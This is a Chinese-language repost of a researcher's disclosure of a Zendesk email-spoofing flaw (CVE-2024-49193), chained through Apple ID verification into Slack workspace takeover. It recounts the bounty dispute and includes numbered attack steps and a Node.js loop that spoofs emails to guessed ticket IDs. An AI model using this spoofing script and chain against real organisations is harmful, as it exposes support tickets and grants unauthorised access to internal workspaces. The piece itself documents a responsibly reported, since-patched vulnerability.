15 岁少年干翻 Zendesk，Zendesk 拒绝支付 SRC赏金，少年从其他平台收获 5 万美金(吃瓜）

太长不看版

安全研究员Daniel的详细分析显示，Zendesk 电子邮件管理系统中存在一个严重漏洞，编号为 CVE-2024-49193。该漏洞使使用 Zendesk 的公司面临危险的电子邮件欺骗攻击，允许未经授权访问敏感的支持票证历史记录。尽管 Zendesk 最初驳回了该报告，但问题的严重性已经显而易见，迫使公司立即采取行动。

正如 Daniel 所概述的，该漏洞的根源在于 Zendesk 对电子邮件协作的处理。Zendesk 会自动为每张工单生成一个回复地址，例如 support+id{id}@company.com。该系统旨在帮助公司跟踪与支持请求相关的电子邮件线程。然而，Zendesk 的电子邮件欺骗保护措施存在重大疏忽，导致攻击者可以利用该系统。

丹尼尔解释了攻击的简单性：“如果攻击者知道支持电子邮件地址和工单 ID（由于工单 ID 是递增的，因此通常很容易猜到），他们可以使用电子邮件欺骗来冒充原始发件人。”通过向 Zendesk 发送伪造的电子邮件，攻击者可以抄送自己的电子邮件并有效地获得对整个工单历史记录的完全访问权限，其中可能包含敏感信息。

这个漏洞是在今年早些时候发现的，尽管 Daniel 通过漏洞赏金计划迅速向 Zendesk 报告，但回复并不理想。该漏洞被认定为“超出范围”，因为它依赖于电子邮件欺骗，而 Zendesk 认为这超出了其 HackerOne 计划的范围。然而，Daniel 指出，“令人难以置信”，如此重大的安全风险竟然被如此随意地忽略。

CVE-2024-49193 最令人担忧的方面之一是其被广泛滥用的可能性。Daniel 的分析表明，该漏洞允许攻击者暴力破解或估算票证 ID，从而有可能针对大量 Zendesk 实例。由于票证 ID 通常是递增的，因此一旦攻击者估算出票证号码的范围，他们就可以开始利用该系统。

攻击者的步骤简单但有效。他们从看似合法的地址发送伪造的电子邮件，以估计范围内的工单为目标。通过操纵 Zendesk 的电子邮件协作功能，他们可以将自己添加到任何工单中并查看其完整历史记录。“这意味着攻击者可以有效地加入任何正在进行的支持对话，并阅读敏感信息——所有这些都是因为 Zendesk 没有适当的电子邮件欺骗保护措施，”Daniel 强调道。

丹尼尔复制了漏洞后，他开始向使用 Zendesk 的公司单独报告该漏洞。一些公司迅速做出反应，禁用了 Zendesk 的电子邮件协作功能以修复安全漏洞。在报告过程中，丹尼尔从受影响的公司获得了超过 50,000 美元的赏金。然而，Zendesk 本身的反应较慢。直到几家公司施加压力，Zendesk 才开始认真对待该漏洞。

丹尼尔的工作迫使公司和 Zendesk 重新评估他们的安全措施。他的分析揭示了简单的错误（如欺骗保护不足）可能导致广泛的安全风险。Zendesk 此后已修复此问题，但遭到了安全社区的强烈反对。

一个影响半数财富500强公司的漏洞

大家好,我是丹尼尔,一个15岁的少年,略懂编程,闲暇时喜欢寻找软件漏洞。今天我要给大家讲一个疯狂的故事 - 我是如何发现了一个影响超过半数财富500强公司的漏洞。

初识Zendesk

如果你经常上网,你很可能听说过Zendesk。

Zendesk是一款被全球顶级公司广泛使用的客户服务工具。它的设置非常简单:只需将公司的客服邮箱(如[email protected])与Zendesk关联,它就能开始管理所有来信并创建工单。你可以自己处理这些工单,也可以交给客服团队处理。Zendesk是一家市值数十亿美元的公司,深受Cloudflare等大企业的信赖。

说实话,我一直觉得很奇怪,这些市值高达数十亿美元的大公司,居然不自己开发内部工单系统,而是选择使用Zendesk这样的第三方工具。

最薄弱的一环

俗话说得好,"一根链条的强度取决于它最薄弱的一环"。由于Zendesk只是被视为一个基础的工单系统,许多公司在设置时并没有多加考虑。我见过最常见的设置方式就是将所有发送到[email protected]的邮件转发给Zendesk。

为什么这样做很危险呢?因为许多公司使用他们的@company.com域名作为单点登录(SSO)系统,让员工可以快速登录内部工具。将Zendesk连接到同一个域名,公司无意中就创造了一个潜在的安全漏洞。Zendesk会处理为其配置的域名收到的所有邮件,这意味着如果你的SSO系统没有正确验证邮箱地址,任何获得Zendesk访问权限的人都可能利用这一点进入你的内部系统。(稍后我会详细解释这一点。)

邮件欺骗

今年年初,我在Zendesk中发现了一个严重的漏洞,攻击者只需向Zendesk处理的客服邮箱发送一封精心构造的邮件,就能读取任何使用Zendesk的公司的客户支持工单。更让人震惊的是,Zendesk似乎并不在意这个问题。

这个漏洞本身其实很简单。Zendesk没有有效的邮件欺骗防护措施,这个疏忽使得攻击者可以利用他们的邮件协作功能来获取他人的工单。

它的原理是这样的:当你向公司的Zendesk支持门户(如[email protected])发送邮件时,Zendesk会创建一个新的支持工单。为了跟踪邮件往来,Zendesk会自动生成一个回复地址,格式如下:support+id{id}@company.com,其中{id}是唯一的工单编号。这个地址确保你之后的所有回复都会直接进入同一个工单。

Zendesk还有一个工单协作功能。如果你在回复邮件时抄送(CC)某人,Zendesk会自动将他们添加到工单中,允许他们在支持门户中查看完整的工单历史。

这个漏洞的利用非常简单:如果攻击者知道支持邮箱地址和工单ID(通常很容易猜到,因为工单ID是递增的),他们就可以使用邮件欺骗来冒充原始发件人。通过以请求者的邮箱地址向support+id{id}@company.com发送一封伪造的邮件,并抄送自己的邮箱,Zendesk会认为这封邮件是合法的。然后它会将攻击者的邮箱添加到工单中,给予他们查看整个工单历史的完全访问权限。

这意味着攻击者可以有效地加入任何正在进行的支持对话,并读取敏感信息 - 仅仅因为Zendesk没有适当的邮件欺骗防护措施。

漏洞利用的前提条件:

• 知道请求者的邮箱
• 知道工单ID(由于Zendesk的工单ID是递增的,攻击者可以通过暴力破解或估算得到)
• 能访问公开的支持门户

"超出范围"?攻击者可不这么想

发现这个漏洞后,我立即通过Zendesk的漏洞赏金计划进行了报告,满心期待他们会认真对待并迅速修复。一周后,我收到了一个令人失望的回复:

因为我的漏洞利用了邮件欺骗,而这被认为是他们HackerOne项目"范围之外"的内容,所以他们拒绝了我的报告。这简直难以置信。

这个回复甚至不是来自Zendesk团队的成员。像Zendesk这样的许多公司都使用HackerOne的服务来筛选报告,这样他们自己的团队就可以专注于修复漏洞,而不是验证提交的报告。意识到这一点后,我要求将报告转发给Zendesk的实际工作人员审核。几天后,我又收到了一个令人沮丧的回复:

Zendesk拒绝重新考虑。尽管存在安全风险,但因为这超出了他们项目的范围,他们不愿意对报告采取行动。当然,几周后他们会改变主意 - 但这是后话了。

升级为完整的Slack接管

我本可以向受影响的个别公司报告这个邮件欺骗漏洞,因为通过禁用邮件协作功能,可以修补单个实例,防止攻击者将自己添加到工单中。但我想产生更大的影响。

就在这时,我偶然看到了2017年的一篇博文TICKETTRICK。在文章中,安全研究员Inti De Ceukelaire详细描述了他如何利用Zendesk入侵数百家公司的私有Slack工作区。由于许多公司在与Zendesk相同的域名上使用Slack SSO,研究员发现他可以通过[email protected]邮箱完成电子邮件验证,从而获得私有Slack频道的访问权限。那时候,Zendesk还没有现在这么大,而且有一些漏洞允许任何人只要知道你的邮箱就能查看你的工单。

我意识到我可以用我的漏洞复制他的攻击,但需要克服一些挑战。

OAuth登场

在他披露漏洞后(那是几年前的事了!),Slack改变了他们的邮箱验证系统,在邮箱地址中加入了随机令牌。

Inti的攻击(和我的一样)需要攻击者知道验证码的发送邮箱地址。Slack在邮箱地址中添加随机令牌是为了防止未来类似的攻击。每次生成随机令牌时,都无法知道他们会从哪个邮箱发送验证邮件(这是我的漏洞利用所需的前提条件之一)。除非...

虽然Slack在发送邮箱验证时使用了随机邮箱令牌,但Google和Apple都没有这么做。Slack支持这两种OAuth登录方式。

这是最简单的绕过方法。Slack几年前才引入OAuth登录,一定是完全忘记了他们针对这类攻击的保护措施。

现在的攻击方式很简单:用[email protected]邮箱创建一个Google账号,请求验证码,使用我的漏洞访问Zendesk自动创建的工单,验证Google账号,然后用Google登录Slack。

这个方法很完美...除了它无法在Google上使用。Google从[email protected]发送验证邮件,而Zendesk已经开始阻止来自noreply@地址的邮件自动创建工单(可能是在TICKETTRICK披露后采取的措施),这意味着我们无法收到验证码。

但Apple没有这么做,Apple从appleid@地址发送验证邮件,这正中下怀。

复现步骤: Apple -> Zendesk -> Slack

现在,执行攻击的步骤很简单:

1. 用[email protected]邮箱创建一个Apple账号并请求验证码,Apple会从[email protected]向[email protected]发送验证码,Zendesk会自动创建一个工单
2. 同时,从自己的邮箱地址在company.com支持门户创建一个工单,这样可以跟踪一个ID范围
3. 使用我之前提到的邮件欺骗漏洞,尝试将自己添加到之前范围内的每个工单

const sendmail = require('sendmail')();

// 假设你在第2步创建的工单被分配了#453的工单ID 
// 验证邮件应该落在附近somewhere
const range = [448, 457];
for (let i = range[0]; i < range[1]; i++) {
    // 从Apple向Zendesk发送伪造的邮件
    sendmail({
        from: '[email protected]',
        to: `support+id${i}@company.com`,
        cc: '[email protected]',
        subject: '',
        html: 'comment body',
    }, function (err, reply) {
        console.log(err && err.stack)
        console.dir(reply)
    });
};

4. 用你的账号([email protected])登录company.com的支持门户(通常在support.company.com),查看你被抄送的工单。

5. 在Apple中输入验证码
6. 使用Slack的"使用Apple登录"功能,用连接到company.com邮箱的Apple账号登录

我在数百个易受攻击的Zendesk和Slack实例上重复了这6个步骤。准备就绪后,我开始向使用Zendesk的公司逐一报告这个漏洞。

后续影响

我花了大约一周的时间向各个公司报告这个漏洞,有些公司立即采取行动修补了他们的系统,而其他公司则认为这是Zendesk的问题。然后,有趣的事情发生了 - 我最初在HackerOne上的报告收到了一条评论:

我不禁觉得有些好笑 - 他们现在要求我对报告保密,尽管最初他们认为这超出了他们的范围。

一些公司在收到我的报告后一定联系了Zendesk,这个问题的压力实际上迫使Zendesk不得不重视起来。我在最初向他们报告时并没有提到Slack漏洞,因为那时我还没有发现它,现在他们想要完整的Slack接管复现步骤。

我提供了Slack漏洞的概念验证,他们确认了这个问题。尽管他们声称已经"开始着手"修复,但实际上他们花了两个多月才解决这个问题。

赏金

一旦受此漏洞影响的公司被告知这个问题,许多公司迅速禁用了Zendesk的邮件协作功能来保护他们的系统。在我报告的过程中,我从HackerOne和其他平台的个别公司那里赚取了超过5万美元的赏金。

不出所料,Zendesk在这件事中的表现并不好。据报道,在我披露漏洞后,至少有一两家公司完全终止了与Zendesk的合作,取消了他们的协议。

Zendesk的修复(和我的0美元赏金)

2024年7月2日 - 在我提交报告两个月后 - Zendesk终于确认他们修复了这个问题。以下是他们攻击性安全负责人的声明:

在大多数情况下,当最终用户通过邮件提交支持请求时,该邮件会成为一个新工单或添加到现有工单的评论中。然而,在某些情况下,邮件可能会被暂停。暂停一封邮件意味着将它搁置以供进一步审查。这并不一定意味着它是垃圾邮件,只是它还不是Zendesk Support中的一个工单。它会处于待定状态,直到有人审核并决定是接受还是拒绝它。我们使用两个垃圾邮件过滤器,Cloudmark和Rspamd EAP,来帮助判断消息中的可疑特征。根据这些工具给出的分数,消息可能会被暂停。如果你感兴趣,我们公布了一份完整的工单暂停原因列表。在这里解释的攻击场景中,Cloudmark给出的垃圾邮件分数很低,而RSpamD给出的分数很高;不幸的是,在这种情况下我们没有使用RSpamD的分数,否则许多邮件本应被暂停,从而限制了添加抄送人的能力。我们实施的第一个修复是在以下情况下自动切换到RSPAMD垃圾邮件分析:

1. 我们的自动工单线程功能被触发,将新邮件线程化到现有工单中,并且;
2. 我们之前没有因Cloudmark分数而暂停该消息。除此之外,我们还实施了过滤器,自动暂停以下类别的邮件: 基于回复地址和Message-Id头值发送的Apple用户验证邮件 来自[email protected]的非交易性邮件 在接下来的几个月里,我们将继续寻找机会加强我们的发件人身份验证功能,并为客户提供更细致和高级的安全控制,以控制哪些类型的邮件会被暂停或拒绝。

尽管修复了这个问题,Zendesk最终还是决定不为我的报告提供赏金。他们的理由?我违反了HackerOne的披露准则,向受影响的公司分享了这个漏洞。我也懒得争辩了:)

结语

一个小小的邮件漏洞,最终演变成了一个可以渗透世界上一些最大公司内部系统的漏洞。虽然Zendesk最终修复了这个漏洞,但整个过程充满了拒绝、缓慢的反应,最终甚至没有对报告给予任何认可。但这就是SRC漏洞猎人的现实 - 说你行，你就行，说你不行，你就不行。

https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b9d2cf2e52